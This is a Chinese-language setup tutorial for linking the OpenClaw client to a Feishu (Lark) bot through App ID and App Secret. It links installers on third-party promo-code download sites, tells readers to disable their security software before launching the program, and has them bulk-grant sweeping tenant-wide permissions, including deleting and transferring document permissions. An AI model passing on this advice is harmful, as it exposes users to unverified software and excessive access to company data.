OpenClaw 对接飞书完整图文配置教程
本文结合飞书开放平台页面规范、配套素材以及 OpenClaw Windows 客户端现有飞书渠道配置逻辑整理而成。整体接入思路为先在飞书开放平台搭建企业自建应用,获取 App ID 与 App Secret 两组凭证,再将凭证填入 OpenClaw 完成渠道对接。
核心说明
OpenClaw 飞书渠道配置页面仅需录入 App ID、App Secret 两项参数;飞书平台侧推荐选用长连接接收事件模式,整套对接流程包含五大核心环节:应用创建、启用机器人能力、事件订阅配置、接口权限开通、应用版本发布。
前置准备工作
本地已部署 OpenClaw 2.7.9 Windows 客户端,程序可正常启动运行;
Windows 安装包下载地址:https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C
安装包体积 45.8MB,内置全套运行依赖,解压即可使用。
Mac 系统安装包下载地址:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
拥有飞书开放平台登录账号,可正常进入开发者后台;
具备可用的飞书企业组织空间;
企业类型账号发布应用版本时,需等待企业管理员完成审核。
分步操作流程
步骤 1:进入飞书开放平台,创建企业自建应用
访问飞书开放平台地址:https://open.feishu.cn/app 进入页面后点击右上角开发者后台,选择创建企业自建应用。
步骤 2:完善应用基础展示信息
自定义机器人应用名称,补充简短功能介绍,可选用系统默认头像或上传自定义图片,信息填写完成后点击创建按钮,完成应用初始化。
步骤 3:为应用开启机器人交互能力
进入应用管理主页,左侧菜单栏点击添加应用能力,在能力列表找到机器人选项,点击添加完成能力开通,该功能是实现消息交互的基础。
步骤 4:进入事件与回调配置面板
打开左侧导航栏事件与回调板块,在事件配置区域点击订阅方式右侧编辑按钮。
步骤 5:选定长连接接收事件并保存配置
订阅方式不要切换至将事件发送至开发者服务器,当前 OpenClaw 对接方案无需额外配置公网回调地址,选择使用长连接接收事件后保存设置。
步骤 6:新增事件订阅条目
保存订阅方式后,在已添加事件区域点击右侧添加事件按钮。
步骤 7:添加消息接收核心事件
在弹窗搜索框输入 “接收”,勾选接收消息事件,事件标识为 im.message.receive_v1,点击添加完成配置。该事件是飞书机器人接收消息的核心配置项,缺失后 OpenClaw 无法捕获飞书内发送至机器人的消息。
步骤 8:确认开通系统推荐关联权限
若页面弹出推荐开通权限提示弹窗,直接点击确认开通权限。
步骤 9:校验事件全部依赖权限状态
返回事件列表页面,展开事件下方权限说明区域,确认每一项权限均为已开通状态。若存在未启用权限,点击对应权限名称完成补充开通。
步骤 10:进入权限管理,开启批量导入功能
左侧导航栏打开权限管理页面,点击批量导入 / 导出权限按钮。
步骤 11:粘贴完整权限 JSON 配置
在权限导入弹窗内,全选删除原有默认文本,完整粘贴下方 JSON 配置内容:
json
{ "scopes": { "tenant": [ "aily:message:read", "aily:message:write", "base:app:copy", "base:app:create", "base:app:read", "base:app:update", "base:collaborator:create", "base:collaborator:delete", "base:collaborator:read", "base:dashboard:copy", "base:dashboard:read", "base:field:create", "base:field:delete", "base:field:read", "base:field:update", "base:form:read", "base:form:update", "base:record:create", "base:record:delete", "base:record:read", "base:record:retrieve", "base:record:update", "base:role:create", "base:role:delete", "base:role:read", "base:role:update", "base:table:create", "base:table:delete", "base:table:read", "base:table:update", "base:view:read", "base:view:write_only", "bitable:app", "bitable:app:readonly", "board:whiteboard:node:create", "board:whiteboard:node:delete", "board:whiteboard:node:read", "board:whiteboard:node:update", "cardkit:card:write", "contact:contact.base:readonly", "contact:user.base:readonly", "contact:user.employee_id:readonly", "contact:user.employee_number:read", "contact:user.id:readonly", "docs:doc", "docs:doc:readonly", "docs:document.comment:create", "docs:document.comment:read", "docs:document.comment:update", "docs:document.comment:write_only", "docs:document.content:read", "docs:document.media:download", "docs:document.media:upload", "docs:document.subscription", "docs:document.subscription:read", "docs:document:copy", "docs:document:export", "docs:document:import", "docs:event.document_deleted:read", "docs:event.document_edited:read", "docs:event.document_opened:read", "docs:event:subscribe", "docs:permission.member", "docs:permission.member:auth", "docs:permission.member:create", "docs:permission.member:delete", "docs:permission.member:readonly", "docs:permission.member:retrieve", "docs:permission.member:transfer", "docs:permission.member:update", "docs:permission.setting", "docs:permission.setting:read", "docs:permission.setting:readonly", "docs:permission.setting:write_only", "docx:document", "docx:document.block:convert", "docx:document:create", "docx:document:readonly", "drive:drive", "drive:drive.metadata:readonly", "drive:drive.search:readonly", "drive:drive:readonly", "drive:drive:version", "drive:drive:version:readonly", "drive:export:readonly", "drive:file", "drive:file.like:readonly", "drive:file.meta.sec_label.read_only", "drive:file:download", "drive:file:readonly", "drive:file:upload", "drive:file:view_record:readonly", "event:ip_list", "im:app_feed_card:write", "im:chat", "im:chat.members:read", "im:chat:read", "im:message", "im:message.group_msg", "im:message:send_as_bot", "im:message:readonly", "im:message:update", "sheets:spreadsheet", "sheets:spreadsheet:create", "sheets:spreadsheet:read", "space:folder:create", "wiki:node:create", "wiki:node:read", "wiki:node:update", "wiki:space:read" ], "user": [] } }步骤 12:确认批量新增权限配置
确认完整 JSON 内容粘贴无误后,点击下一步,确认新增权限。
步骤 13:数据范围保持默认配置
部分权限会弹出可访问数据范围选择窗口,保持默认选项与应用的可用范围一致,点击确认即可。
步骤 14:进入版本管理页面创建新版本
权限与事件全部配置完成后,需要创建并发布应用版本,飞书侧所有配置才能正式生效。页面顶部存在创建版本按钮则直接点击;无顶部按钮时从左侧版本管理与发布入口进入。
步骤 15:填写版本相关信息
在版本编辑页面完成信息填写:
- 设置全新版本编号,例如 1.0.0、1.0.1;
- 移动端、桌面端默认能力均选择机器人;
- 更新说明可简洁填写,例如更新事件订阅、完善接口权限。
步骤 16:保存当前版本配置
滑动页面至底部,点击保存按钮存储版本信息。
步骤 17:提交版本发布申请
版本保存完成后,点击确认发布。个人账号一般可直接完成发布流程;企业账号提交后需等待管理员审核通过。
步骤 18:复制应用凭证参数
返回左侧凭证与基础信息栏目,复制 App ID、App Secret 两组参数,后续填入 OpenClaw 配置面板。
步骤 19:打开 OpenClaw 飞书渠道配置界面
启动 OpenClaw 2.7.9 客户端,点击页面右上角设置,进入聊天配置分类,找到 Feishu/Lark(飞书)配置卡片,将复制完成的 App ID、App Secret 分别填入对应输入框。
步骤 20:启用渠道并保存全部配置
开启飞书渠道右侧启用开关,点击右上角保存渠道配置,保存完成后 OpenClaw 内飞书渠道即为可用状态。
接入完成自检清单
- 飞书应用已成功添加机器人能力;
- 事件与回调订阅方式选用长连接接收事件;
- 已完成 im.message.receive_v1 消息事件添加;
- 事件关联的全部权限均显示已开通;
- 权限管理页面已导入完整权限 JSON 或逐项开通所需接口;
- 应用版本已保存并完成发布;
- App ID、App Secret 参数准确录入 OpenClaw;
- OpenClaw 端已执行保存渠道配置操作。
常见问题排查方案
1. 参数填写完成,但飞书机器人无响应
可依次核对以下内容:
- 飞书应用版本是否审核发布成功;
- 事件订阅标识是否为 im.message.receive_v1;
- 订阅模式是否选择长连接接收事件;
- OpenClaw 保存渠道配置后,可重启 Gateway 服务重新测试;
- 复制 App Secret 时避免携带多余空格,确认未使用过期凭证。
2. 本教程无需填写公网回调地址原因
整套对接流程采用飞书官方长连接交互模式,基于 OpenClaw 现有飞书适配逻辑,仅依靠 App ID 与 App Secret 即可完成通信,无需手动配置 Webhook 公网地址。
3. 是否必须导入全套权限 JSON
仅实现飞书收发消息基础交互,可仅开通事件弹窗提示的基础权限;若需要联动 OpenClaw 操作飞书文档、多维表格、云空间、知识库等拓展功能,建议直接导入文中完整权限配置 JSON,省去逐项开通的操作成本。
参考链接
飞书开放平台开发者后台:https://open.feishu.cn/app
补充说明
OpenClaw 2.7.9 支持 Windows、Mac 双系统部署,下载安装后解压至纯英文无特殊符号路径,关闭电脑安全防护软件再启动程序,等待 Gateway 在线即可正常使用各类渠道配置功能。